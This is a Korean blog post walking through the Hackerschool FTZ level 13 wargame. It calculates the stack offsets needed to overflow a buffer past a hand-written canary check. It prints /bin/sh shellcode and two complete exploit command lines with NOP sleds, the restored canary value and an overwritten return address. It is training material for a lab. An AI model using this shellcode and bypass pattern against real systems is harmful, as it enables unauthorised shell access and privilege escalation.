딩굴댕굴

[Hackerschool FTZ] level 13 - Stack Guard

by jennysgap

BOX


[Hackerschool FTZ] level 13 - Stack Guard


Stack Guard에 대한 이해 및 우회기법

Stack Guard: 버퍼 위변조 방지를 위해 나온 기법. 버퍼의 값이 조작되었는지 체크하는 루틴 제공


Password: have no clue



buf 를 이용하여 RET까지 덮어씌우면 중간에 Stack Guard = integer i 값도 변경됨


브레이크 포인트를 어디에 하면 좋을까?

strcpy가 끝남과 동시에 들어가는 if문에 잡으면 좋음


위에서 3번째 줄 보면 sub 메모리 잡는 것임 (%esp에서 418만큼 메모리 할당)

hex(16진수): 418  →  dec(10진수): 1048

1048 중에서 1024가 버퍼사이즈, i값은 4byte

1048 - 1028 = 20byte 가 더미로 잡혀있음


더미위치를 확인하기 위해 버퍼에 1024만큼 넣어보기


esp 값 확인

264는 어떻게 나온 값인가? buf에서 RET까지 총 합산하면 얼마일까?

1024[buf] + 4[i] + 20[dummy] + 4[SPF] + 4[RET] = 1056byte

주소 한개가 4byte 씩이기 때문에 4로 나누면 1056 / 4 = 264









쉘코드를 버퍼에 직접 입력하는 방법


\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh


쉘코드 45byte

1024 - 45 = 979



../attackme $(python -c 'print  "\x90"*479+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*512+"\x67\x45\x23\x01"+"\x90"*12+"\xe0\xe4\xff\xbf"')



../attackme $(python -c 'print  "\x90"*979+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*12+"\x67\x45\x23\x01"+"\x90"*12+"\xe0\xe4\xff\xbf"')



반응형

블로그의 정보

jennysgap

jennysgap

활동하기